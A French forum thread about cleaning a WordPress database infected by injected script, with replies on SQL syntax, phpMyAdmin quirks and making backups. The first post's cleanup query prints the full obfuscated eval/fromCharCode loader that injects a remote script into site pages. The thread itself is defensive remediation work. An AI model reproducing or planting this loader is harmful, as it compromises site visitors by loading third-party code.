Desinfection base de données [RESOLU]

UPDATE mod694_posts SET post-content = replace(post_content, '<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script>', ' ');

j’aimerais que ce script supprime une chaine de caractere qui commence par <script> (c’est un virus) dans la colone post-content
qu’est ce qui ne va pas avec ce code ;-( ???
merci de votre reponse

Bonjour
Jamais bricolé de base de donnée mais je donne un avis rapide

je lis SETpost-content (manque un espace?) et post_content → c’est pas censé être les même pour que post_content soit modifié via le set?

nan en fait c’est quand j’ai copié le texte sur clubic ça a bug mais a la base il yn avait des espaces

tu es très actif et en plus c’est toujours toi qui me répond en premier merci

sinon feunoir tu as une idée pour ça:
https://forum.clubic.com/t/desinfection-htaccess
???

Je suis venu faire un tour pendant que le miam chauffé. Là j’en suis + au café :sweat_smile:

Cela dépend, le test des .htaccess ce serait assez facile à faire sur des fichiers locaux avec du batch / powershell, voir un python et autre langage évolué, c’est que du fichier texte.
Je suppose qu’il faut le faire sur le site online? s’il faut sortir les commande curl et/ou passer par la connexion internet c’est plus la même histoire. Jamais fait cela.

En gros quelque soit le langage en local c’est assez simple :
Obtenir la liste des fichiers a traiter
Les ouvrir un par un pour les lire
Faire un système pour comparer la correspondance avec tes blocs de texte recherché
Ecrire la modification s’il y a correspondance
Fermer le fichier

Le plus complexe c’est surement la détection des lignes de texte, mais si c’est toujours les même blocs suffit de tester plusieurs lignes, mais s’il y a des variations c’est plus complexe (faudra tester tous les cas possible)

merci

a la limite ça serait quoi en batch???

genre ça???

@echo off
set files-a-traiter=".htaccess"
set changer_de_fichier="commande"

:recherche
if files contain "texte bizare"(goto desinfection)
changer_de_fichier
goto recherche

:desinfection
del .htaccess
echo texte normal >> .htaccess
changer_de_fichier
goto recherche

bon j’en reviens a ma première question:

###########
#premier post#
###########

Comme le disait @Feunoir dans son premier message, il y a une erreur là, ça doit être soit deux fois post_content, soit deux fois post-content. Mais pas une fois l’un, une fois l’autre. Si c’est du Wordpress, le bon nom est post_content.

ah mais oui!!!
j’étais pas concentré, désolé

sauf qu’il y a un autre bug…

Tu pourrais en dire un peu plus ? Parce que debuger en aveugle sans savoir quel est le bug à chercher, c’est une perte de temps hein…

Quel est le problème ? Que dit ton serveur SQL quand tu lui envoies la requête ? Quel est le résultat ?

Chez moi en tout cas, sur la base d’un blog Wordpress tournant sur MariaDB, la requête s’exécute sans erreur, donc sans plus de détail impossible d’avancer…

On voit qu’il y a visiblement une ) qui a été rajouté derrière « String », à la place du ;.

Peut-être que PhpMyAdmin n’exécute pas les requêtes brutes telles qu’elles ont été saisies et fait un pre-processing qui provoque l’erreur… Il faudrait essayer de passer la requête directement au serveur SQL si ton hébergeur le permet… Sinon voir avec les options de PhpMyAdmin, peut-être en vidant la case « délimiteur » en bas à gauche (vu que là c’est justement un ; qu’il y a normalement après « String »).

Autre chose maintenant que j’y pense : as-tu bien pensé à faire une sauvegarde de la base avant ?

Parce que sinon, c’est très dangereux d’exécuter à tatton des requêtes d’écriture sur ta base de données… C’est un coup à perdre des données, parce qu’il me semble que le « Simulate » de PhpMyAdmin ne permet pas de visualiser l’impact de la requête sur la base, ça dit juste si elle a réussi ou non et le nombre d’enregistrements affectés. Or ce n’est pas parce qu’une requête est techniquement valide qu’elle fait ce que tu veux, donc avant de passer à l’exécution réelle, la simple simulation n’est pas suffisante.

Pour la mise au point, je te conseille de faire plutôt :
SELECT post_content, REPLACE(…) FROM mod694_posts

Ça te donnera un résultat avec pour chaque entrée de la table la version originale et la version modifiée par le REPLACE, et une fois que tu seras sûr que tu obtiens bien le résultat attendu tu pourras passer à une requête UPDATE plutôt que SELECT.

je fais en mode simulation…
merci pour les piste.
je teste ça et je reviens

Oui, mais justement, ce mode ne te dit que si la requête s’exécute correctement, ça ne te permet pas de vérifier que le résultat est celui attendu.

Donc là si tu te contentes du fait que la simulation te dis OK avant de passer en exécution réelle, tu peux avoir des mauvaises surprises.

je vais faire une sauvegarde